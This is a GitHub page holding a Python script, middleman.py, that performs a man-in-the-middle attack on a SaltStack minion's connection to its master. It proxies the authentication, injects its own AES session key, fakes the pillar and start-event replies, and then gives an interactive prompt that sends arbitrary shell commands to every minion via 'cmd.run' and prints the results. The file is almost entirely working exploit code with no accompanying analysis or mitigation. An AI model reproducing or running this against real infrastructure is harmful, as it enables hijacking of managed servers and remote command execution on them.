-
Notifications
You must be signed in to change notification settings - Fork 0
/
middleman.py
executable file
·129 lines (100 loc) · 4.08 KB
/
middleman.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/usr/bin/env python
import sys
import argparse
import tempfile
import urlparse
import random
import zmq
import msgpack
from M2Crypto import RSA
import salt.crypt
parser = argparse.ArgumentParser(description="MitM's a minion's connection to a salt-master")
parser.add_argument('--master', '-m', default='tcp://127.0.0.1:4506', help='A ZMQ-URL pointing to the real salt-master')
parser.add_argument('--address', '-a', default='tcp://127.0.0.1:4507', help='A ZMQ-URL to bind the socket to')
parser.add_argument('--pub-address', '-p', default='tcp://127.0.0.1:4508', help='A ZMQ-URL to bind the pub socket to')
log = lambda x: sys.stderr.write(x + "\n"); sys.stderr.flush()
def proxy(client_socket, msg):
client_socket.send(msgpack.dumps(msg))
return msgpack.loads(client_socket.recv())
def authenticate(args, server_socket, client_socket):
# Get the _auth packet
log('Waiting for an auth packet')
auth_packet = msgpack.loads(server_socket.recv())
# Parse the minion's public key
log("Parsing the minion's public key")
with tempfile.NamedTemporaryFile() as temp_pub_key:
temp_pub_key.write(auth_packet['load']['pub'])
temp_pub_key.flush()
pub_key = RSA.load_pub_key(temp_pub_key.name)
# Get the real response from the master
log('Getting the decryption of the token from the legitimate master')
master_response = proxy(client_socket, auth_packet)
# Generate our own AES key and send it to the client
log("Generating an AES key")
aes_key = salt.crypt.Crypticle.generate_key_string()
# Fudge some response parameters
master_response['aes'] = pub_key.public_encrypt(aes_key, 4)
master_response['publish_port'] = urlparse.urlparse(args.pub_address).port
log('Sending the AES key to the minion')
server_socket.send(msgpack.dumps(master_response))
return aes_key, pub_key
def main(args):
log('Initializing ZMQ')
ctx = zmq.Context()
# Initialize our server context
server_socket = ctx.socket(zmq.REP)
server_socket.bind(args.address)
# Initialize a client to the real salt-master
client_socket = ctx.socket(zmq.REQ)
client_socket.connect(args.master)
# Initialize our pub socket (for sending commands)
pub_socket = ctx.socket(zmq.PUSH)
pub_socket.bind(args.pub_address)
log('Authenticating with the minion')
aes_key, pub_key = authenticate(args, server_socket, client_socket)
crypticle = salt.crypt.Crypticle({}, aes_key)
log('Authenticating with the minion to send pillar info')
pillar_aes_key, _ = authenticate(args, server_socket, client_socket)
pillar_crypticle = salt.crypt.Crypticle({}, pillar_aes_key)
log('Getting pillar info from the minion')
pillar_crypticle.loads(msgpack.loads(server_socket.recv())['load'])
server_socket.send(msgpack.dumps({
'enc': 'aes',
'key': pub_key.public_encrypt(pillar_aes_key, 4),
'pillar': pillar_crypticle.dumps({}),
}))
log('Waiting for a "minion_start" event')
crypticle.loads(msgpack.loads(server_socket.recv())['load'])
# shhhhh, it'll all be over soon
server_socket.send(msgpack.dumps({
'enc': 'aes',
'load': crypticle.dumps(True),
}))
log("Minion ready to obey")
while True:
# Prompt the user for a command
command = raw_input('# ')
# Send the command to the minion
pub_socket.send(msgpack.dumps({
'enc': 'aes',
'load': crypticle.dumps({
'tgt_type': 'glob',
'jid': str(random.randint(0, 1000000000)),
'tgt': '*',
'ret': '',
'user': 'sudo_ubuntu',
'arg': [command],
'fun': 'cmd.run',
}),
}))
# Fetch the result
result = crypticle.loads(msgpack.loads(server_socket.recv())['load'])
print result['return']
# Tell the minion we got the message
server_socket.send(msgpack.dumps({
'enc': 'aes',
'load': crypticle.dumps(True),
}))
if __name__ == '__main__':
args = parser.parse_args()
main(args)